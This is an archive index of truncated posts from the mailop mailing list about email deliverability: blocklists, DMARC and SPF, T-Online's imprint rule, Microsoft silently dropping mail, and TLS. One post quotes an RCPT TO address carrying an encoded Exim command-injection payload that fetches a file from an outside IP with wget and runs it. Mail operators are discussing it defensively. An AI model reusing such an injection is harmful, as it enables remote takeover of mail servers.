Re: [mailop] Meta outgoing servers in black list (SORBS, 0SPAM...)

On 2/1/24 10:32, Eduardo Díaz Comellas via mailop wrote: Hi, I've got a customer complaining that they don't receive emails from Meta for password reset. We have tracked down this to see that a lot of this servers are blacklisted in popular blacklists. Let's face it, if you are using

Re: [mailop] belgacom.be / skynet.be - massing phishing

On 13/10/2023 19:56, Hans-Martin Mosner via mailop wrote: Am 13.10.23 um 18:30 schrieb Mary via mailop: Hello everyone, Anyone from belgacom.be notice massive amounts of phishing with/from skynet.be addresses? I've tried to report them without success. Posted on spamcop.net in case anyone

Re: [mailop] Abuse AUTH from Microsoft outlook IP space

On 8/14/23 11:33, Dan Malm via mailop wrote: On 2023-08-14 11:05, Jaroslaw Rafa via mailop wrote: Dnia 14.08.2023 o godz. 10:42:53 Dan Malm via mailop pisze: Do you have AUTH turned on on port 25? Why? Or are they accessing the submission port? I don't think anything i wrote suggested this

Re: [mailop] Unbound configuration for DNSBL ?

On 3/27/23 16:46, Cyril - ImprovMX via mailop wrote: Using OpenDNS in between shouldn't be an issue since we use a key to query SpamHaus that is specific to us. OpenDNS relay that query so we are properly identified at Spamhaus and aren't doing anything trickery. We've seen the

Re: [mailop] Unbound configuration for DNSBL ?

On 3/27/23 11:17, Cyril - ImprovMX via mailop wrote: Hi everyone! We have a few SpamAssassin servers running that test against services such as SpamHaus, URIBL, etc. We often have our queries blocked because we go beyond the free usage. As such, we started a trial with SpamHaus, and the

Re: [mailop] mailgun anybody? (variable sender address) time

On 3/23/23 16:31, Laura Atkins via mailop wrote: On 23 Mar 2023, at 14:47, Heiko Schlittermann via mailop wrote: Hi, does anybody from mailgun read here? Your messages are tmprejected at our systems, w/o any chance to pass ever. Why are you using tmp rejections for something

Re: [mailop] Sometimes I hate Microsoft :)

On 3/9/23 16:25, Eduardo Diaz Comellas via mailop wrote: Hi, Sorry for the rant, but I need to get this off my chest. Microsoft's MXs are accepting emails from one of my customers but then not delivering them to the recipient inboxes... Why can't they decide *before* accepting the email,

Re: [mailop] T-Online is now really blocking messages from non-commercial and simliar senders

On 10/21/22 04:13, Kai 'wusel' Siering via mailop wrote: Am 21.10.22 um 00:33 schrieb Graeme Fowler via mailop: No. There will be no changes to the Exim default configuration So sad. It's up to the packagers then to fix the shit that hits the fan. Being a packager for exim, I can tell you

Re: [mailop] T-Online is now really blocking messages from non-commercial and simliar senders

On 10/20/22 14:51, Jaroslaw Rafa via mailop wrote: Dnia 19.10.2022 o godz. 20:08:30 Bernardo Reino via mailop pisze: That seems really "interesting". How does that impressum look like, which has the magical power of transforming a private server into a "commercial" one? What should it

Re: [mailop] T-Online is now really blocking messages from non-commercial and simliar senders

On 10/19/22 23:19, Kai 'wusel' Siering via mailop wrote: Am 19.10.22 um 21:28 schrieb Bernardo Reino via mailop: On Wed, 19 Oct 2022, Renaud Allard via mailop wrote: If you try deleting the impressum, please share your experience on what happens with t-online. Yup. I have another server

Re: [mailop] T-Online is now really blocking messages from non-commercial and simliar senders

On 10/19/22 20:08, Bernardo Reino via mailop wrote: I wonder what happens if I delete the "Impressum" in a few days, but who knows, maybe they do add some monitoring for *that* ¯\_(ツ)_/¯ If you try deleting the impressum, please share your experience on what happens with t-online.

Re: [mailop] T-Online is now really blocking messages from non-commercial and simliar senders

On 10/19/22 16:10, Kai 'wusel' Siering via mailop wrote: On 19.10.22 15:55, Renaud Allard via mailop wrote: They blocked at least my non commercial mail server until I added an impressum. So, I guess they now block everyone without an impressum. But that's the status quo for several years

Re: [mailop] T-Online is now really blocking messages from non-commercial and simliar senders

On 10/19/22 15:49, Kai 'wusel' Siering via mailop wrote: But see my initial reply: it's unclear as of now if section 4.1 of their postmaster site still applies, or if they now reject any application from "non-commercial" mailservers (as their current statement implies). They blocked at

Re: [mailop] T-Online is now really blocking messages from non-commercial and simliar senders

On 10/19/22 13:33, Heiko Schlittermann via mailop wrote: Hello, I'm not sure how to complain and where. But I hope that here we can start a discussion again. I'm quite upset. Is this the new world? A given mailhost (ran privately for smaller entities) can't send messages to T-Online

Re: [mailop] gmail: Benefit of a generic SPF-record?

On 9/29/22 15:27, Stefan Neufeind via mailop wrote: Hi, I recently came across an email being rejected by gmail.com with: This message does not pass authentication checks (SPF and DKIM both do not pass). SPF check for [...] does not pass with ip: [...]. That email was not spam but

Re: [mailop] Reject vs spam folders

On 9/16/22 22:01, Gellner, Oliver wrote: Am 16.09.2022 um 08:26 schrieb Renaud Allard via mailop : When I was using spam folders, for every mail going into that folder, the sender was getting a 5XX answer telling that the message might not be read as it was sent into the spam folder

Re: [mailop] The oligopoly has won.

On 9/14/22 10:57, Alessandro Vesely via mailop wrote:     * Stop blackholing. That one is the absolute worst of the worst of the worst. Blackholing is something that _MUST NOT_ be done, ever, for whatever reason. There is never and has never been a good reason for blackholing. If you

Re: [mailop] Anyone want to have fun?

On 3/3/22 16:17, Michael Peddemors via mailop wrote: whois emailsvr.net No match for domain "EMAILSVR.NET" Time to register a domain? CONN: 34.194.188.63 -> 25 GeoIP = [US] PTR = otransport-22.outbound.emailsrv.net And who would put a professional service on an AWS IP with no

Re: [mailop] DMARC verification issues at infomaniak.com

On 1/26/22 15:19, Bastian Blank via mailop wrote: On Wed, Jan 26, 2022 at 12:54:50PM +0100, Renaud Allard via mailop wrote: I am getting DMARC rejections at infomaniak.com. There seems to be an issue in their DMARC verifications. I tested DMARC sending to gmail which confirms me DMARC is OK

Re: [mailop] DMARC verification issues at infomaniak.com

On 1/26/22 14:35, Andrew C Aitchison via mailop wrote: On Wed, 26 Jan 2022, Renaud Allard via mailop wrote: On 1/26/22 13:12, Andrew C Aitchison via mailop wrote: On Wed, 26 Jan 2022, Renaud Allard via mailop wrote: I am getting DMARC rejections at infomaniak.com. There seems

Re: [mailop] DMARC verification issues at infomaniak.com

On 1/26/22 13:12, Andrew C Aitchison via mailop wrote: On Wed, 26 Jan 2022, Renaud Allard via mailop wrote: I am getting DMARC rejections at infomaniak.com. There seems to be an issue in their DMARC verifications. I tested DMARC sending to gmail which confirms me DMARC is OK

[mailop] DMARC verification issues at infomaniak.com

Hello, I am getting DMARC rejections at infomaniak.com. There seems to be an issue in their DMARC verifications. I tested DMARC sending to gmail which confirms me DMARC is OK for that domain. Is there anyone here from infomaniak who can check this issue? Jan 26 12:28:02 isildur smtpd[8927]:

Re: [mailop] 0spam.org DNSBL SERVFAIL

On 13/11/2021 01:59, John Levine via mailop wrote: It appears that Slavko via mailop said: -=-=-=-=-=- -=-=-=-=-=- Hi, I am using bl.0spam.org and nbl.0spam.org RBLs in my custom RBL check script, but in more days their DNS server returns SERVFAIL. When I do an A lookup on bl.0spam.org

Re: [mailop] Feasibility of a private DNSBL

On 11/4/21 3:21 PM, Michael Peddemors via mailop wrote: On 2021-11-04 7:07 a.m., Larry M. Smith via mailop wrote: While not perfect, it is a smart technique.  The only thing is the actual DNS server itself has to either be modified to parse and check the key, or it has to set up a 'zone'

Re: [mailop] How to detect fraud login in POP IMAP or SMTP?

On 9/23/21 10:56 AM, Steve Freegard via mailop wrote: Hi Alessio, You could try our Authentication Blocklist: https://docs.abusix.com/ami-production-zones/authbl This doesn't pre-emptively list cloud IPs, it only lists IPs where we've seen evidence of compromise/abuse and these come from

Re: [mailop] google at spamhaus

On 8/31/21 12:04 PM, Tim Bray via mailop wrote: Hi all, I noticed that a google IPv6 address was recently listed in spamhaus XBL. 2607:f8b0:4864:20::82c at  2021-08-30 19:27:45 UTC I just thought this a bit unusual and worth a mention.  Probably the first time I've seen spamhaus block a

Re: [mailop] Cyren status regularly flapping back to Suspicious

On 05/07/2021 14:45, Florian Effenberger via mailop wrote: Hello, I have some issues with the Cyren blocklist - one recipient's server is bouncing mails back with 550-5.7.1 This email was rejected because it violates our security policy 550 5.7.1 CYREN IP reputation determined a medium

Re: [mailop] Info - DMARC at WEB.DE, GMX, mail.com coming soon

On 09/03/2021 18:38, Arne Allisat via mailop wrote: Just a short info to whom it might interest: Very soon, we will go live with DMARC check on incoming mails for all mailboxes operated by WEB.DE, GMX & mail.com . That covers several hundred of recipient domains [1] and

Re: [mailop] Hotmail and block on OVH: possible solutions alternatives?

On 2/25/21 2:48 PM, John Capo via mailop wrote: On Thu, February 25, 2021 03:41, Ignacio García via mailop wrote: I know OVH's not a favorite among pros, but for me, their dedicated servers work well and aren't very expensive.  Can anybody recommend a somewhat similar solution with a better

Re: [mailop] Hotmail and block on OVH: possible solutions alternatives?

On 2/25/21 9:41 AM, Ignacio García via mailop wrote: Hi there We are a small ISP for small and medium companies only. We have several email servers hosted at OVH/SoYouStart. Although some OVH IP segments are not of the likes of Microsoft, some of my servers have been running for so long

Re: [mailop] How important is an ipv6 ptr record?

Check RFC1912 #2.1 In short, and for mails, if you don't have a PTR (v4 or v6), forget delivering mails. On 2/10/21 1:20 PM, Eliot Lear via mailop wrote: Do people care about them if there is an appropriate SPF record in place? Thanks, Eliot ___

Re: [mailop] Is it something to worry about?

On 1/20/21 1:58 PM, Jim Popovitch via mailop wrote: On Wed, 2021-01-20 at 13:29 +0100, Hetzner Blacklist via mailop wrote: New/current policy: http://www.uceprotect.net/en/index.php?m=3=5 You failed to mention this bit from that link: "UCEPROTECT-Level 3 lists all IP's within an ASN

Re: [mailop] Is it something to worry about?

On 1/20/21 11:10 AM, Hans-Martin Mosner via mailop wrote: Am 20.01.21 um 10:40 schrieb Jaroslaw Rafa via mailop: Hello, just got an information from MxToolbox that my IP (actually not my IP in particular, but the ASN it belongs to) has been blacklisted at UCEPROTECT level 3. Checking of my IP

Re: [mailop] Delivery problem on Microsoft e-mail (code 250 but does not receive)

On 10/20/20 12:41 PM, Daniele Rossi via mailop wrote: Hi, we try to send to Microsoft Account and we receive this message: *Queued mail for delivery -> 250 2.1.5* The problem is that the mail does not arrive either in spam or in the inbox. This happens for most of our ip's. Can anyone

Re: [mailop] sendgrid.net

On 9/25/20 3:36 PM, Michael via mailop wrote: What's the consensus on sendgrid.net? I don't know anything about them, but I had the impression that they were a reputable company. Lately, I've noticed a lot of phishing emails coming from them. Does anyone just block them completely?

Re: [mailop] Any chance that Microsoft would tell it's customer that the 'junk' folder creates complaints?

On 9/24/20 11:13 AM, Jaroslaw Rafa via mailop wrote: Dnia 24.09.2020 o godz. 10:25:00 Thomas Walter via mailop pisze: BTW - "Spam" also is a bad name for those folders, because the word now seems to be a catch-all phrase for "E-Mails I do not like". But definitely better than "Junk". "Junk"

Re: [mailop] Any chance that Microsoft would tell it's customer that the 'junk' folder creates complaints?

On 9/24/20 10:10 AM, Benoit Panizzon via mailop wrote: Is there any chance such incidents could be avoided by Microsoft showing a pop up or similar, that a complaint to the sending ISP is being generated when moving an email to the 'junk' folder? Or that Microsoft would CC his own customer

Re: [mailop] Deutsche Telekom rejects connections because of missing "provider identification"

On 8/28/20 9:29 AM, Florian Vierke via mailop wrote: Hi everybody, the requirement for having an imprint in advertising mails is not limited to T-Online. It’s a legal requirement and also criteria for the Certified Senders Alliance (CSA) which is at least relevant in Germany. For those not

Re: [mailop] Deutsche Telekom rejects connections because of missing "provider identification"

On 8/27/20 8:24 AM, Felix Zielcke via mailop wrote: Am Mittwoch, den 26.08.2020, 21:06 +0200 schrieb ml+mailop--- via mailop: But it was enough to have the imprint visible for them just for the Sorry for a stupid question: What is "the imprint"? Does that mean you have to operate a web

Re: [mailop] Extreme multiple posting (was Re: OVH Bulk Mailer? Anyone know this one?)

On 05/08/2020 20:16, Large Hadron Collider via mailop wrote: you know, Mr Allard, it appears that you sent this message to the list at least 5 times... Actually, I only sent it once. From my logs, it was delivered on the 5th once. It might be some processing problem at mailop because I

Re: [mailop] OVH Bulk Mailer? Anyone know this one?

On 8/5/20 2:47 PM, Otto J. Makela via mailop wrote: On 21/05/2019 12.37, Otto J. Makela via mailop wrote: Is there any point in receiving any email from any OVH space, since discussions on this list would seem to indicate they have no functioning abuse enforcement? Numerous netblocks

Re: [mailop] t-online.de refuses to remove an ip from their blacklist

On 6/18/20 5:46 PM, Michael Peddemors via mailop wrote: On 2020-06-18 4:37 a.m., Benoît Panizzon via mailop wrote: Allow your customers to set an additional PTR. AFAIK only one PTR per RR is allowed, even if most DNS allow to set multiple ones. And when you say 'only one PTR per RR' is

Re: [mailop] RCPT TO trying to execute shell

On 3/30/20 3:08 PM, Atro Tossavainen via mailop wrote: A friend received a mail with an RCPT TO like this: X-Original-To: root+${run{x2Fbinx2Fsht-ctx22wgetx2045.148.10.84x2fssx20-Osxsx3bchmodx20x2bxx20sxsx3b.x2fsxsx22}}@domain.example Now it's easy enough for me to see what the idea was -

Re: [mailop] Messages from small personal SMTP server being marked as junk by Google

On 1/24/20 3:31 PM, Gregory Heytings via mailop wrote: "-all" means "interpret this a sign that the email is certainly spam, do not use any other filtering mechanisms to take a decision" (it's a "-infinity"). As I and others said, given in particular the case of forwards and mailing

Re: [mailop] Messages from small personal SMTP server being marked as junk by Google

On 1/24/20 12:28 PM, Jaroslaw Rafa via mailop wrote: In my opinion, "-all" is good only when it is the *only* entry in the SPF record, ie. SPF record indicates that the domain does not send mail *at all*. In all other cases, I think that even if original SPF record specifies "-all", the

Re: [mailop] Messages from small personal SMTP server being marked as junk by Google

On 1/24/20 11:14 AM, Jaroslaw Rafa via mailop wrote: Dnia 24.01.2020 o godz. 09:37:56 Paul Smith via mailop pisze: The best thing is for the recipients to mark it as a good message. That'll feedback to Gmail's systems that the sender is good. The problem is, users almost never check their

Re: [mailop] UCEPROTECT - AWS Block

On 21/12/2019 01:51, Brad Slavin via mailop wrote: It seems that AWS has found their way onto the UCEPROTECT Level 3 list. Affected messages are being rejected with this banner: 550 Your ISP AMAZON-02 - Amazon.com , Inc.,

Re: [mailop] Junk filtering as a tool for unfair competition

On 10/23/19 10:01 AM, Chris Wedgwood via mailop wrote: We also have a lot of trouble with mails being sent to the junk folder on Microsoft hosted accounts. We have no problems with gmail or yahoo. after reading this, i created an outlook.com account (awful UI) some (not all) trivial

Re: [mailop] Do we need Spam folders?

On 10/18/19 10:21 AM, Alessandro Vesely via mailop wrote: On Thu 17/Oct/2019 04:35:53 +0200 Michael Rathbun via mailop wrote: On Thu, 17 Oct 2019 13:11:31 +1100, Michelle Sullivan via mailop wrote: Worse when they (the receiver) silently discards them... user checks the spamfolder and

Re: [mailop] DANE validation

On 7/12/19 8:37 PM, Heiko Schlittermann via mailop wrote: Providing TLSA records is only one half of the story. The sender has to use them. Currently there is no way to force the sender to use my TLSA records, is there? (Though, I can force all senders to use TLS when talking to me, but I

[mailop] outlook.com not supporting encryption with ECDSA certificates

Hello, Is it just me, or outlook.com servers don't support sending mails to servers with ECDSA certificates? I this kind of error when outlook.com servers attempt to deliver emails: 2019-06-27 09:02:44.980 [74026] TLS error on connection from

Re: [mailop] Anyone from GitHub here?

Hi, Are you sure this doesn't come from geekedin compromise? https://www.troyhunt.com/8-million-github-profiles-were-leaked-from-geekedins-mongodb-heres-how-to-see-yours/ Regards On 3/6/19 8:54 AM, Philip Paeps wrote: I share my mailserver with several GitHub users.  Recently, we've all been

Re: [mailop] What do other ISP / ESP do about the MailChimp spam problem?

On 11/6/18 3:02 PM, Charles McKean wrote: If you had any honest question here, you got it wrong by laying on the insult and making leading statements. Since you are acting like a troll, I think we should treat you like a troll and tell you to go away. I get so many spams, but I have not

Re: [mailop] News about the travails with my famous Y! trap account

On 20/06/18 09:17, Philip Paeps wrote: On 2018-06-19 21:20:49 (+0200), Steve Atkins wrote: On Jun 19, 2018, at 8:10 PM, Brandon Long via mailop wrote: They used to use qmail which uses - instead of the more common + for multiple addresses, wonder if this is a side effect of the

Re: [mailop] GDPR and SMTP in general

On 05/25/2018 12:14 PM, Rolf E. Sonneveld wrote: Yes, dealing with exactly the same kind of problem(s). One of my customers asks me to sign for the fact that mail is encrypted when handling it. However, using standard MTA software, messages that are in the queue waiting to get delivered,

Re: [mailop] Disabling TLS1.0 for SMTP

On 05/22/2018 04:47 PM, Al Iverson wrote: Are folks disabling TLS1.0 support in SMTP? Our security team has asked, but I'm a bit concerned about potential failure cases when trying to deliver mail to smaller corporate sites that might be doing stuff like requiring TLS but supporting 1.0

Re: [mailop] Gmail & TLS SNI

On 16/04/18 03:44, Phil Pennock wrote: While double-checking logs after an MTA update, I saw something from Gmail which is ... bemusing. I'm wondering if there's any consensus on how this should be handled in a manner which scales, given that Gmail don't publish DANE records? 2018-04-16

Re: [mailop] Alice.it postmaster contact

On 02/19/2018 02:00 PM, Anne-Claire Fichten wrote: > Hello, > >   > > Alice and Tin belong to same group: Telecom Italia Mobile (TIM). > > Unfortunately they are not replying to emails. You need to reach them by > phone on 187. > > This number is only available in Italia. > > So you need to

Re: [mailop] Earthlink trouble with our PTR

If you want to be a good neighbour, you should have a restrictive (not ~all) SPF, DMARC, DKIM and a FcRDNS coherent with your HELO. If you have all that, you should be able to send to anyone (besides hotmail). Obviously, you should also not be in any major blacklists. On 12/14/2017 03:27 PM, Ryan

Re: [mailop] Earthlink trouble with our PTR

You should have a look at this article: https://en.wikipedia.org/wiki/Forward-confirmed_reverse_DNS On 12/13/2017 10:02 PM, Ryan Prihoda wrote: > William, > > Yes our PTR is set correctly, but our domain does resolve to a different > IP. Why does only Earthlink care about that ? Seems silly. >

Re: [mailop] Outlook says "mail accepted for delivery" but it never shows up

On 11/20/2017 11:34 AM, Mathieu Marnat wrote: > Hi, > > > Has anyone noticed cases where Outlook says that email is accepted for > delivery but in fact you can never see it in any folder of your webmail ? > > I contacted Outlook's support but I am also interested in knowing if I > am the only

Re: [mailop] Timeouts on "." sending to nic.ru

On 14/11/2017 22:59, Brandon Long via mailop wrote: Ugh, those timeouts are insane, from a different era. Brandon Taken straight out of RFC5321 tough, but yes, indeed, that RFC is from 2008. quote: "Based on extensive experience with busy mail-relay hosts, the minimum per-command timeout

Re: [mailop] Timeouts on "." sending to nic.ru

On 14/11/2017 16:51, Jeremy Harris wrote: On 14/11/17 13:16, Vladimir Dubrovin via mailop wrote: Timeout after "." on smaller messages and in the middle of transmission on large-size messages usually mean TCP connection issues, most common reason is PMTUD blackhole router problem. On any

Re: [mailop] Sort of old but Apple now accepts TLS1.2 on IMAP...

On 01/11/2017 23:49, Eric Tykwinski wrote: I just saw on Full Disclosure about Apple patching a bunch of services for disabling TLS1.0, so I figured I’d give Apple Mail a shot. I can confirm that Apple Mail Version 11.1 (3445.4.7) does in fact use TLS1.2 now, but of course you’re always going

Re: [mailop] outlook.com and greylisting

On 26/10/2017 18:48, James Michael Keller via mailop wrote: On 10/24/2017 05:06 AM, Mark Foster wrote: Hi All, I run a personal MTA but I host a few not-for-profits and such. Recently one of my users reported substantial delays on inbound emails, so I had a quick look... it turns out email

Re: [mailop] btinternet.com blacklist

On 12/07/17 17:35, Laura Atkins wrote: I have been known to tell clients, “There’s no place in the filter mechanisms where they can flag ‘is a client of Laura’s’, the filters do what they do and we can work with them but hiring me doesn’t change what the filters are going to do with your

Re: [mailop] International Fix-Your-SPF day

On 16/05/17 22:12, D'Arcy Cain wrote: On 2017-05-16 03:35 PM, Laura Atkins wrote: Because in large, international corporations there are processes. I worked with a bank a few years ago looking at authentication. It took an inconceivable amount of time just to identify which country IT group

Re: [mailop] Spamcannibal?

spamcannibal has its uses, mainly in a scoring system. But indeed, refusing emails solely on the reason that the mail server is listed on spamcannibal is probably a poor idea. Actually, refusing emails by relying solely on any blacklist which lists ranges instead of individual IPs is a poor

Re: [mailop] connection issues from .*?.bullet.mail.(skk|kks).yahoo.co.jp

On 10/28/2016 03:18 PM, valdis.kletni...@vt.edu wrote: > On Fri, 28 Oct 2016 11:23:49 +0200, Benoit Panizzon said: > >> Nice, so Yahoo's mailservers are broken? > > It's 2016. The mere fact it's sending HELO rather than EHLO is a pretty good > indication that it is either so decrepit or so

Re: [mailop] hosting.com mailservices failing on greylisting?

Hello Benoît, On 10/21/2016 11:38 AM, Benoit Panizzon wrote: > > Are there other DNS based ipv4 whitelists we could use as source for > trusted email hosts? I am using spf records to generate greylisting whitelists, this works quite fine. smime.p7s Description: S/MIME Cryptographic

Re: [mailop] anyone from Microsoft around ?

On 21/09/16 22:29, Franck Martin via mailop wrote: What Microsoft does differently with DMARC, is that instead of rejecting the email it should reject, it accepts them and deliver them to the junk folder in the highest form of protection. Actually, no. I sent an email to Gilles' email at

Re: [mailop] Google: Increase in false positives?

On 02/09/16 18:35, Aaron C. de Bruyn wrote: On Fri, Sep 2, 2016 at 1:39 AM, Renaud Allard via mailop <mailop@mailop.org <mailto:mailop@mailop.org>> wrote: On 09/02/2016 10:28 AM, Brandon Long via mailop wrote: > The spam team would love to send all unauthed mail to

Re: [mailop] Google: Increase in false positives?

On 09/02/2016 10:28 AM, Brandon Long via mailop wrote: > The spam team would love to send all unauthed mail to the spam label or > even reject it (they call it no auth no entry). > IMHO, that would be a good idea. If one big player does it, no-one can ignore it, so this enables the others to

[mailop] Blocking emails from domains without SPF records

Hello, I am following another message which suggested that btinternet.com was blocking emails from domains without SPF records. This website suggests this is "common practice" in point 4: https://www.iplocation.net/email-delivery-problems Do you have this kind of policy or any evidence of this

Re: [mailop] Microsoft/Hotmail discards mails [slightly OT]

On 06/09/2016 04:33 PM, G. Miliotis wrote: > On 9/6/2016 16:13, Michael Wise via mailop wrote: >> The discussion is on-going. > > This is at least one good thing about this whole deal. I think your > suggestion about deleted items (marked as such somehow) would be a good > compromise. > While

Re: [mailop] Microsoft/Hotmail discards mails

it were otherwise, but when each edge box is expected to handle > thousands of connections opened per second, it doesn't scale. > > Aloha, > Michael. > -- > Sent from my Windows Phone > ---------------- > From: Renaud Alla

Re: [mailop] Microsoft/Hotmail discards mails

On 06/09/2016 10:25 AM, Paul Smith wrote: > The problem is there may be a few other users who get false positives in > that type of spam quite frequently, and suddenly they are losing > messages with no hope of redemption or even knowledge that it's > happening. Actually, what I do is that when

Re: [mailop] Microsoft/Hotmail discards mails

Hi, On 06/09/2016 04:08 AM, Michael Wise via mailop wrote: > > At one point, Hotmail tried to turn off the delete action for sufficiently > spammy, and just delivered it into Junk; Customers complained. Loudly. Is there a public place/forum/whatever where people complained loudly? I am just

Re: [mailop] Truncate DNSBL

On 05/04/2016 11:38 AM, David Hofstee wrote: > Well, v4bl is not a reliable blacklist. I would ignore any listing there. > > So his IP is only listed, afaik, on the Truncate list (which is why he mailed > to the list in the first place). > Is Truncate BL a reliable blacklist either?

Re: [mailop] Truncate DNSBL

Hello On 05/04/2016 01:39 AM, Vick Khera wrote: > My monitoring service just notified me that an IP from my shared general > outbound pool is listed on the Truncate DNSBL. This is really the first > I've heard of this list. From what I read on their web pages, they claim > that an IP is only

Re: [mailop] Bounces from outbound.protection.outlook.com

Hi Michael, On 04/29/2016 04:22 PM, Michael Wise wrote: > Protection.outlook.com is Office365, and *NOT* "HotMail". > > If you have samples of the malicious NDRs, please send them to me, and > I'll see if there's a way to squelch it. > I never implied that protection.outlook.com is hotmail in

[mailop] Bounces from outbound.protection.outlook.com

Hello, I am seeing in my logs some bounces messages (empty sender) from various outbound.protection.outlook.com servers. All those bounce messages are directed towards one specific email address which is probably used as an envelope field in a spam run. Now my question is: if it comes from

Re: [mailop] Yahoo deferred with a page not found

On 27/04/16 00:00, Brandon Long via mailop wrote: Big companies are big, never underestimate the challenges involved. We recently went through ours to find out that the editors had drifted the content of several of the links we pointed to in smtp responses to the point where they were not

Re: [mailop] Yahoo deferred with a page not found

On 26/04/16 19:14, Davide Migliavacca wrote: Now - I don't speak for Yahoo. According to my limited experience and observations I've been seeing GL mostly with new or low volume IPs ramping up. Low volume IPs might remain 'new' forever and every time they send it's a "ramp-up". Yahoo

[mailop] Yahoo deferred with a page not found

Hello, I have had some occurrences of this error message when sending to yahoo managed domains. 421 4.7.0 [GL01] Message from (W.X.Y.Z) temporarily deferred - 4.16.50. Please refer to http://postmaster.yahoo.com/errors/postmaster-21.html The mail generally passes at the next try, so that's not a

Re: [mailop] DMARC record in p=none not receiving aggregate reports to RUA

On 14/04/16 23:58, Michael Wise wrote: Checked the Microsoft.com record, and the \; is there as well, so it may be an artifact of my software. Just FI https://dmarc.org/wiki/FAQ#Why_are_the_semicolons_escaped_in_DMARC_records.3F_Should_I_do_the_same_when_I_publish_a_DMARC_record.3F

Re: [mailop] Webmail

On 03/04/16 21:18, Doug Barton wrote: Sorry if this is off topic, but I'm just curious what folks are using for webmail nowadays. roundcube was fine at some point, but rainloop replaced it fine and is ways faster. smime.p7s Description: S/MIME Cryptographic Signature

Re: [mailop] Mail accepted by outlook.com/hotmail.com disappears.

On 18/03/16 01:38, Michael Wise wrote: And yes, under certain circumstances, Hotmail/Outlook will 250 the mail, and may then if it considers the IP sufficiently toxic, delete it without delivering it to the intended recipient’s INBOX or Junk folder with no NDR. May I suppose that you agree

Re: [mailop] mailop + DMARC + mailman = mung_from

On 02/23/2016 11:46 AM, Andrew C Aitchison wrote: (Assuming the operators/rule-setters care about DKIM) I'd expect spamassassin to score a broken DKIM signature, but ignore (or treat separately) an X-Header. spamassassin default score for a broken DKIM is: 0.1 DKIM_SIGNED Message has a

Re: [mailop] mailop + DMARC + mailman = mung_from

Hi, I am not sure it does the trick, at least for me, or maybe you disabled it afterwards. Here is an excerpt from my logs. 2016-02-22 10:03:22 [7439] H=chilli.nosignal.org [2001:41c8:51:83:feff:ff:fe00:a0b]:50689 I=[2001:bc8:3186:100::a1fa]:25 Warning: CSA status: unknown 2016-02-22

Re: [mailop] DKIM issues with mails from outbound.protection.outlook.com

On 02/11/2016 08:37 PM, Franck Martin via mailop wrote: Email forwarded within Office365 may have DKIM breakage, Microsoft has been addressing the issue, I believe. Mimecast is a known to me to break DKIM when forwarding. It would be nice if someone from Microsoft could confirm/infirm the